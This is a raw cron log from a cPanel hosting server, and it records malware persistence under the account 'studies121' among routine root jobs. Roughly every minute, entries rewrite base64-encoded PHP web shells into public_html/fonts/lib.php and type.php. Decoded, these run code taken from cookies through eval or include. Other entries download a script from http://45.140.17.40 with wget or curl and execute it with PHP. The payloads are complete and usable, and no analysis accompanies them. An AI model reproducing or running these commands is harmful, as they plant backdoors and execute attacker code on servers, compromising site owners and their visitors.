Sep  9 18:53:01 ip-184-168-122-23 CROND[31339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:54:01 ip-184-168-122-23 CROND[31425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:54:01 ip-184-168-122-23 CROND[31426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:54:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:54:01 ip-184-168-122-23 CROND[31429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:54:01 ip-184-168-122-23 CROND[31431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:55:01 ip-184-168-122-23 CROND[31610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:55:01 ip-184-168-122-23 CROND[31609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:55:02 ip-184-168-122-23 CROND[31612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:55:02 ip-184-168-122-23 CROND[31615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:55:02 ip-184-168-122-23 CROND[31614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:55:02 ip-184-168-122-23 CROND[31613]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:56:01 ip-184-168-122-23 CROND[31699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:56:01 ip-184-168-122-23 CROND[31702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:56:01 ip-184-168-122-23 CROND[31704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:56:01 ip-184-168-122-23 CROND[31706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:56:01 ip-184-168-122-23 CROND[31707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:57:01 ip-184-168-122-23 CROND[31787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:57:01 ip-184-168-122-23 CROND[31789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:57:01 ip-184-168-122-23 CROND[31793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:57:01 ip-184-168-122-23 CROND[31792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:58:01 ip-184-168-122-23 CROND[31876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:58:01 ip-184-168-122-23 CROND[31878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:58:01 ip-184-168-122-23 CROND[31880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:58:01 ip-184-168-122-23 CROND[31885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:58:01 ip-184-168-122-23 CROND[31886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:59:01 ip-184-168-122-23 CROND[31975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:59:01 ip-184-168-122-23 CROND[31978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:59:01 ip-184-168-122-23 CROND[31977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:59:01 ip-184-168-122-23 CROND[31979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32145]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:00:02 ip-184-168-122-23 CROND[32150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:00:02 ip-184-168-122-23 CROND[32151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:00:02 ip-184-168-122-23 CROND[32148]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 19:01:01 ip-184-168-122-23 CROND[32245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 19:01:01 ip-184-168-122-23 CROND[32244]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 19:01:01 ip-184-168-122-23 CROND[32248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:01:01 ip-184-168-122-23 CROND[32249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:01:01 ip-184-168-122-23 CROND[32247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:01:01 ip-184-168-122-23 CROND[32250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32244]: starting 0anacron
Sep  9 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32264]: finished 0anacron
Sep  9 19:02:01 ip-184-168-122-23 CROND[32360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:02:01 ip-184-168-122-23 CROND[32363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:02:01 ip-184-168-122-23 CROND[32362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:02:01 ip-184-168-122-23 CROND[32364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:02:01 ip-184-168-122-23 CROND[32365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:03:01 ip-184-168-122-23 CROND[32463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:03:01 ip-184-168-122-23 CROND[32465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:03:01 ip-184-168-122-23 CROND[32464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:03:01 ip-184-168-122-23 CROND[32468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:04:01 ip-184-168-122-23 CROND[32574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:04:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 19:04:01 ip-184-168-122-23 CROND[32578]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 19:04:01 ip-184-168-122-23 CROND[32579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 19:04:01 ip-184-168-122-23 CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32668]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 19:05:01 ip-184-168-122-23 CROND[32673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
